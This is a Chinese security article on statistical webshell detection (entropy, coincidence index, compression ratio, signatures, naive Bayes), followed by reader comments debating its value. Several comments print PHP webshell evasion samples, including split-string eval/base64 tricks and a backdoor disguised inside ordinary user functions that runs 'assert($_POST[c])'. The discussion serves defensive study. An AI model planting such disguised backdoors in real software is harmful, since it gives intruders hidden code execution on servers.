一 什么是webshell
“web”的含义是显然需要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操作权限。webshell常常被称为匿名用户(入侵者)通过网站端口对网站服务器的某种程度上操作的权限。
简单理解:webshell就是一个web的页面,但是它的功能非常强大可以获得一些管理员不希望你获得的权限,比如执行系统命令、删除web页面、修改主页等。
webshell中由于需要完成一些特殊的功能就不可避免的用到一些特殊的函数,我们也就可以对着特征值做检查来定位webshell,同样的webshell本身也会进行加密来躲避这种检测。
二 webshell长什么样子
下图就是一张php webshell的截图,它的功能还是比较全的,如果你是网站管理员的话肯定是不希望普通用户获得下面的权限的。
三 webshell检测有哪些方法
如果你怀疑你的网站被人上传了webshell或者你需要检查一下需要上线的代码中是否被嵌入了shell代码,就需要对这些文件进行扫描,那么有哪些方法可以扫描出这些webshell呢?
下面列举一下,也就是我们的webshell扫描工具中实现的功能。
1 求文件的重合指数index of coincidence(缩写为IC)
首先介绍一下什么是IC?
IC是用来判断文件是否被加密的一种方法。它的计算公式是这样的:
Σ(fi * (fi-1))/N(N-1) :fi 代表样本中某个字母出现的比率,N代表字母出现在样本中的个数
通过计算,我们可以得到以下两个值:
english的IC值为0.0667,
english中一个完全随机的字符串的IC值为0.0385
那么这两个值有什么意义呢?
简单来说(english),
加密文件的IC值接近0.0385
明文文件的IC值接近0.0667
好了,那么我们就可以计算每个文件的IC值,如果这个文件的IC值接近0.0385,那么我们认为它是加密的,而一个web中加密的文件一般就意味着它是个为了逃避检测的webshell。
2 求信息熵
信息熵是一个数学上颇为抽象的概念,在这里不妨把信息熵理解成某种特定信息的出现概率(离散随机事件的出现概率)。一个系统越是有序,信息熵就越低;反之,一个系统越是混乱,信息熵就越高。信息熵也可以说是系统有序化程度的一个度量。
熵是从整个集合的统计特性来考虑的,它从平均意义上来表征信源的总体特征,其公式为:
如果有一个系统S内存在多个事件S = {E1,…,En}, 每个事件的机率分布 P = {p1, …, pn},则每个事件本身的讯息为
Ie = − log2pi
(对数以2为底,单位是位元(bit))
Ie = − lnpi
(对数以e为底,单位是纳特/nats)
如英语有26个字母,假如每个字母在文章中出现次数平均的话,每个字母的讯息量为
I_e = -\log_2 {1\over 26} = 4.7
而汉字常用的有2500个,假如每个汉字在文章中出现次数平均的话,每个汉字的信息量为
I_e = -\log_2 {1\over 2500} = 11.3
整个系统的平均消息量为
H_s = \sum_{i=1}^n p_i I_e = -\sum_{i=1}^n p_i \log_2 p_i
因此我们可以求每个文件的信息熵值,值越大,为webshell的可能性越高。
3、求文件中的最长单词
求一个文件中的最长单词是多长,比较异常的长单词是很可疑的。如下面的第一位的有84070,毫无疑问他是加密后的一整串字符串,极有可能是webshell
84070 /home/wwwroot/default/webshell/css.php
4、文件的可压缩比
文件的压缩比=压缩文件后的大小/文件的原始大小。
那么什么样的文件的压缩比比较大呢?这就要说到压缩算法的本质:
压缩的实质,在于消除特定字符分布上的不均衡,通过将短码分配给高频字符,而长码对应低频字符实现长度上的优化。
做了个简单的实验:将一个txt文件中填充了一堆的a字符,总大小为345KB,用7z压缩后为1K
那么我们是否可以这样理解,由base64编码过的文件,消除了非ascii的字符,这样实际上base64编码过的文件的字符就会表现为更小的分布的不均衡,压缩比就会变大。
5、特征值匹配
这里提到的特征值匹配分为2个部分:第一个是匹配特征函数和代码,也就是说webshell中会用到的而一般文件不会用到的函数和代码。第二个是指匹配特定webshell中的特征值。
第一种情况我们需要对这些函数和特征代码做整理,然后与文件进行匹配。
第二种情况需要收集出现过的webshell,将其中的特征码提取出来。目前已知的库位500个webshell的特征库,可以准确识别99%的已知的webshell。
6、文件属性
第一种:在web服务器中,文件一般的创建时间是几种的,如果某些文件的创建时间比较异常,那么它就有可能是webshell。
第二种:在web攻击过程中,有一种手法是利用mysql到出一句话木马到web目录中,那么这个导出的文件有其特殊性,所有导出的文件的权限都是666.那么我可以这么认定,权限为666的文件有可能是webshell。
四 朴素贝叶斯模型
以上几种方法都有其准确率和误报情况,经过测试,每个方法都能检测出一部分webshell并且存在着一定程度的误报,那么如何将他们的检测结果整合起来,来更准确的判定一个文件是否webshell?
由于我们的检测方法基本上是离散的,所以考虑使用朴素贝叶斯模型。
首先用数学语言描述一下我们的问题:
一个文件的检测结果有两种:是webshell和不是wenshell。那么检测结果是webshell的概率我们用P(y=1)来表示,检测结果不是webshell的概率我们用P(y=0)来表示。
假设我们的检测方法有5种,那么x = [x1,x2,x3,x4,x5].
假设我们检测一个文件后各个检测方法的结果为:x1 = 1,x2=0,x3=0,x4=0,x5=1
那么我们的目的是计算出P(y=1|x)和P(y=0|x)。也就是计算出该文件是webshell和不是webshell的概率各是多少,概率更大的我们就做为最终结果。
下面我们推演一下:
首先是贝叶斯公式为:
那么我们需要的P(y=1|x)为:
由于P(y=1|x)和P(y=0|x)中的分母都是一样的,所以我们只要求出分子进行比较,那个值比较大就取那个值。
现在我们未知的值为p(x1=1|y=1),p(x2=0|y=1),p(x3=0|y=1),p(x4=0|y=1),p(x5=1|y=1),p(y=1)
这些值应该如何得到呢?
首先我们需要一个样本,样本中大量的web文件,其中混有各种webshell,这些标签我们是可以确定的,那么下面我们要做的就是利用程序对这些样本进行检测,根据检测结果计算出我们需要的值,比如:
p(x1=0|y=1):它代表的意思就是检测的文件是webshell,利用x1检测方法的检测结果为0(不是webshell)
如果结果为P(y=1|x)>P(y=0|x),我们就判定该文件是webshell。
工具回头会在FB发布,敬请期待。
- 上一篇:Hijack攻击揭秘
- 下一篇:窥探用户隐私的幕后之眼 – Web Bugs
-
亲爱的此文忽悠领导可以,实战绝对效果绝对不佳(做适当的变形,这个方法还不如关键字查杀)。简单地说三点:
1.动态执行代码如php function handling 系列函数(19l)你根本没法检测,只能用关键字查杀。这种一句话与正常代码几乎没有区别(不然也就不会有各种php框架的代码执行)。如果你能准确检测这些,那么你这个程序已经不是WebShell检测工具而是Web漏洞挖掘工具(想想有几个php框架没用这些函数?)。至于.net和java现在已经是反射的天下,而同时反射API在dal-module层的实体映射被广泛使用,同样的class.forName.newInstance,AST法还能找到new了什么出来,你这个能分辨出哪个是正常的,哪个是后门?
2.php/java都是开源,在源码关键调用部分加入审核机制并记录日志最后分析日志不比你这个高大上?.net hook技术在07年左右就已经用于商业壳中,相关的源码看雪都能找到,这种机制不比你这种查杀强得多?另外说一句,.net有着屌炸天的安全机制,配置好的话除非有.net framework 0day,否则想突破是做梦。
3.我不认为任何方法能比得上AST法,AST法本质就是模拟代码执行流程跟踪一遍,跟AST法相比任何被动查杀都是取巧。
给几个poc:
最长单词法:$a='aaaa';$a.='bbbb';..........;eavl(base64_decode($a));
压缩比法:同上
信息熵法:同上
重合指数法:同上
特征码法:现在经常用,不谈。
文件属性法:shell可以改属性,你这东西要是写成个实时监控各个文件属性,还不如去改php源码。 -
花满楼数学系攻城狮的逆袭吗
-
solaris一个很简单的事搞的如此复杂还叫浅谈?
一个可以四两拨千斤的事被炒的如此事倍功半,.net和php对webshell都有必杀技你却不用,凑论文字数?
本文的内容作为毕业生的论文尚可,但拿到企业里实战就非常莫名其妙了。
@携程信息安全团队的总监陈健,你必须重新制定携程安全实验室的考核指标,可以标新立异,但必须有实战意义,做这种事情就是浪费投资人资源,我是CTRP的股东。 -
@沙漠之鹰 刚看了下,马还是活的。
不容错过
- 4月28日晚FreeBuf公开课(直播课程):XSS自动化渗透内网banish2016-04-28
- 提漏洞,拿现金奖励:深信服官方漏洞报告平台长期入驻漏洞盒子漏洞盒子2014-11-06
- 开源扫描仪的工具箱:安全行业从业人员自研开源扫描器合集Shun2017-05-22
- FreeBuf 2017互联网安全创新大会视频&图文直播(已结束)kuma2016-12-29
0daybank
已有 76 条评论
数学系攻城狮的逆袭吗
让现在还在用特征匹配去扫描webshell的情何以堪。。
为何这么叼
高大上。
简单问题复杂化。。
什么东西啊。。。。数学家看的。
扣一个错别字吧。
一个文件的检测结果有两种:是webshell和不是wenshell
楼猪这么叼 你爸妈知道吗
机器学习的思路,不错,最后朴素贝叶斯模型以上的几个维度并不是都适用。
我想说如果数学学的渣的是不是就看不懂这篇文章哟,代码也就写不出来呀?
这是我见过的最复杂的数学问题之一。。。
我不看过程 只看效果
能落地不拉
高端大气上档次
大学实验室里出来的人才?
非常好的思考问题的维度,来学习了,赞一个
确实看起来像实验室里面出来的人才?这些东西写论文忽悠人可以,真用这些来写监测工具不说是简单问题搞复杂了,光误报率就会高的吓死人
@xxxxxxxxxx 这是实战文,里面提到的每点都是经过N次测试得出的结论,并且已经有现成的工具,而且误报是在所难免的,文中提到的几种方式已经将误报降到最低了哦,最后用朴素贝叶斯模型就是为了将各个维度综合起来得出结果。
暗组盾,检测已知和未知的WebShell
$arr = array(‘a’,'s’,'s’,'e’,'r’,'t’);
$func = join(”, $arr);
call_user_func_array($func,array(‘phpinfo()’));
我想知道对于这个shell,有什么办法能够检查出来?
@leo108 哦坑爹,引号都被替换成全角的了
@leo108 你那就执行一个phpinfo 算webshell?
@xxxxt 亲爱的,bjs
科学家啊!!!
下回你给我讲高数 好吗? 我知道好多人高数都挂了
思路很完整,坐等工具啊~
确实有亮点!
先阶段国内的webshell检测确实非常容易绕过
利用统计搞检测,思路很赞的说~
看完我脑子都不会转了
<!–
_.._ ,————.
,’ `. ( We want you! )
/ __) __` \ `-,———-’
( (`-`(-’) ) _.-’
/) \ = / (
/’ |–’ . \
( ,—| `-.)__`
)( `-.,–’ _`-.
‘/,’ ( Uu",
(_ , `/,-’ )
`.__, : `-’/ /`–’
| `–’ |
` `-._ /
\ (
/\ . \. freebuf
/ |` \ ,-\
/ \| .) / \
( ,’|\ ,’ :
| \,`.`–"/ }
`,’ \ |,’ /
/ "-._ `-/ |
"-. "-.,’| ;
/ _/["---'""]
: / |"- ‘
‘ | /
` |
–>
是骡子是马,拉出来遛遛,坐等工具出来被暴菊花
出门左拐 数学学院
此文忽悠领导可以,实战绝对效果绝对不佳(做适当的变形,这个方法还不如关键字查杀)。简单地说三点:
1.动态执行代码如php function handling 系列函数(19l)你根本没法检测,只能用关键字查杀。这种一句话与正常代码几乎没有区别(不然也就不会有各种php框架的代码执行)。如果你能准确检测这些,那么你这个程序已经不是WebShell检测工具而是Web漏洞挖掘工具(想想有几个php框架没用这些函数?)。至于.net和java现在已经是反射的天下,而同时反射API在dal-module层的实体映射被广泛使用,同样的class.forName.newInstance,AST法还能找到new了什么出来,你这个能分辨出哪个是正常的,哪个是后门?
2.php/java都是开源,在源码关键调用部分加入审核机制并记录日志最后分析日志不比你这个高大上?.net hook技术在07年左右就已经用于商业壳中,相关的源码看雪都能找到,这种机制不比你这种查杀强得多?另外说一句,.net有着屌炸天的安全机制,配置好的话除非有.net framework 0day,否则想突破是做梦。
3.我不认为任何方法能比得上AST法,AST法本质就是模拟代码执行流程跟踪一遍,跟AST法相比任何被动查杀都是取巧。
给几个poc:
最长单词法:$a=’aaaa’;$a.=’bbbb’;……….;eavl(base64_decode($a));
压缩比法:同上
信息熵法:同上
重合指数法:同上
特征码法:现在经常用,不谈。
文件属性法:shell可以改属性,你这东西要是写成个实时监控各个文件属性,还不如去改php源码。
@亲爱的 再说一句,你这个方法本质上就是根据为躲避特征码查杀的加密数据的“无序”与正常代码的“有序”做判断,而这种“无序”只是表象,有无数种方法能改变它,例如读某个文件,例如远程文件,例如提交数据,例如上面的字符串拆分,例如array,例如反序列化,例如数据库,例如……等等
@亲爱的 文章标题已经说是浅谈了,所以在这块没有太深入,并且只是分享了几种网络上常见的检测webshell的方法,你的思路我们也考虑过,不过由于业务架构改动起来比较困难,所以前期也只是简单的实现,等后面时机成熟了会考虑增加进去,感谢提供的建议:)
@亲爱的 统计的方法进行检测是趋势,现在误报率的确是问题
@will-j 误报不可怕,可怕的是检测不到。本质上来说,webshell还是一个合法的web脚本。既然是同样是合法的web脚本,那么必然有办法将webshell伪装得与正常文件极为相似。在这种情况下,基于数学的统计毫无优势可言,那么所谓的基于数学的统计就是个噱头罢了。
其次,这个程序必然不是基于实时监控的–实时监控的检测没有意义,远不如部署沙盒环境限制底层API/监控文件系统/监控出入站数据更详细。而如果是定期的任务,那么跟日志记录相比除了轻量级似乎没有什么太大优势。
最后还是那句话,对于一段脚本而言,最好的静态检测方法永远是AST法。参考以下php代码,我想知道如何用数学方法区分出这段代码是有问题的。
function getuser()//正常函数,取当前用户信息返回数组
{
$con = getconn();
$res = mysql_query("SELECT * FROM user where id=".$_SESSION['uid']);
$row = mysql_fetch_array($result);
return $row;
}
function inituser()//插入的一句话
{
$row=getuser();
//从其他正常函数中摘取的代码
$name=$row['lastname']; //asse
//从其他正常函数中摘取的代码,里面$a为真值
if($a){$name.=’rt’;$desc=$row['description'];}
//从其他正常函数中摘取的代码,$b=0
while(bool_express)
{
call_user_func($name,base64_decode($desc));
if($b){continue;}else{break;}
}
//另外一些代码
}
调用:登录设置用户信息,lastname=asse,description= base64_encode(‘assert($_POST[c]);’) 之后的值,之后在某个公共函数中插入@inituser();
@will-j 统计的方法进行检测是趋势的结论从何而来,谢谢
@ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็็็็็็็็็็็็็็็็็็็็็็็็็ส็自己工作的总结,关键字检测只能检测到已知的,而统计检测能够拓展到未知检测。检测关键字的收集需要投入大量的人力,财力;统计的方式能够降低成本,但需要大量的样本作为支撑。
@亲爱的 我对webshell检测不太了解,不过做过其他方面的检测。
一般来说检测模块分为: 高效低精度 和 高精度低效。
统计检测适合作为高效低精度的检测,将大量合法的行为选择处理,减少后端高精度低效模块的检测压力。现在的检测不可能一个模块解决所有问题。
@will-j 很好,经过处理后的恶意代码被高效低精度(所谓的统计)标记为低威胁甚至是无威胁,在进行高精度检测之前就已经排除,请问这所谓的“现在流行的趋势”的统计法作用是什么?
对于web访问来说,每次访问/调用都是可以精确捕获的,这与效率无关(例如php error trace能精确到某行代码,说明内部有着代码跟踪机制,稍做修改即可变为日志功能—甚至是根据文件白名单进行筛选记录的日志),而在各个服务器系统上文件监控也已经非常成熟。动态监控有日志法,静态检测有慢速ast和快速正则+关键字,统计法的优势在哪里?这不是白名单不定的waf策略,正相反,他的白名单是基本/完全确定的。
不了解不是理由,因为有着共性。而且文章与评论也说的很清楚了,统计法有没有用,一眼即知。
机器学习大杀四方啊。这几个特征还是比较典型的,更多文本方面的特征可以看看《Software Similarity and Classification》这本书。朴素贝叶斯速度快,但不是很适合体现多个特征融合后的效果。
感觉里面提到的方法更适合主机上的防护系统,能直接接触所有文件的。
开个红包,证明我爱过。
啊。。。LZ是同行。。。难道?
携程的朋友, 虽然我和你们熟. 但是不得不说, 这篇文章中使用的统计学的方法, 基本和 NeoPI 一样.
Freebuf 上有这样一篇文章的: http://www.freebuf.com/articles/4240.html .
个人认为, 基于统计学的方法, 是很难确定是否报警的阈值的.
个人只是小菜鸟, 说得不对的, 不要放在心上.
@zzd 嗯,这个源码研究过,有参考里面的一些方法,检测中用的机器学习的方法,数据越多,相对来说越准确,并且报警的结果还是需要人工还审计的,只是做为其他工具的一个参考值而已,并不能说百分百能检测出问题,肯定会有一些误报漏报的。
从来没想过可以用数学的方法来检测webshell..太牛逼了。。 不明觉厉, 坐等你们分享代码。
看到公式就头疼。。。。
啊,这很奇怪吗?我置顶帖里翻译的那本书就是关于Web安全的啊。
Webshell是什么
看了下文章,高大上啊。。数学系的吧/
杀鸡用牛刀?
你们去携程传个webshell试试不就知道了么。
@沙漠之鹰 刚看了下,马还是活的。
@xocoder 没 图 你 说 个 JB
NeoPI,很简短的代码检测webshell,用的就是信息熵,长短词这些方法,推荐大家去看一下。
@PCanyi 给个链接看看
明明是AT ovens,竟然出现在Tank的楼上。
大哥你家狗能加个验证吗?尽是非法站在用
这个方法看着很华丽,很牛B的样子,但是不实用呀
@Tank
https://github.com/Neohapsis/NeoPI
http://en.wikipedia.org/wiki/Entropy_(information_theory)
http://resources.infosecinstitute.com/web-shell-detection/
会点高数就那么牛B吗?。。
麻烦谁给我解释下这个最长单词吧?这个没看懂
3、求文件中的最长单词
求一个文件中的最长单词是多长,比较异常的长单词是很可疑的。如下面的第一位的有84070,毫无疑问他是加密后的一整串字符串,极有可能是webshell
84070 /home/wwwroot/default/webshell/css.php
其实作者的意思的本质只是说将来使用人工智能的方法来检测攻击将取代现在的特征值方法
虽然现在人工智能检测法目前还很简陋,而且实际效果不强,但这是未来的一个方向
已提权,祖国和人民请放心
一个很简单的事搞的如此复杂还叫浅谈?
一个可以四两拨千斤的事被炒的如此事倍功半,.net和php对webshell都有必杀技你却不用,凑论文字数?
本文的内容作为毕业生的论文尚可,但拿到企业里实战就非常莫名其妙了。
@携程信息安全团队的总监陈健,你必须重新制定携程安全实验室的考核指标,可以标新立异,但必须有实战意义,做这种事情就是浪费投资人资源,我是CTRP的股东。
脚本加密了怎么办?
这套方案之前就有调研过也实现过,实际应用时各种不靠谱,毕竟webshell本质就是正常的程序代码,统计能检测个锤子,YY一下就好了,信息熵检测加密文本倒是ok。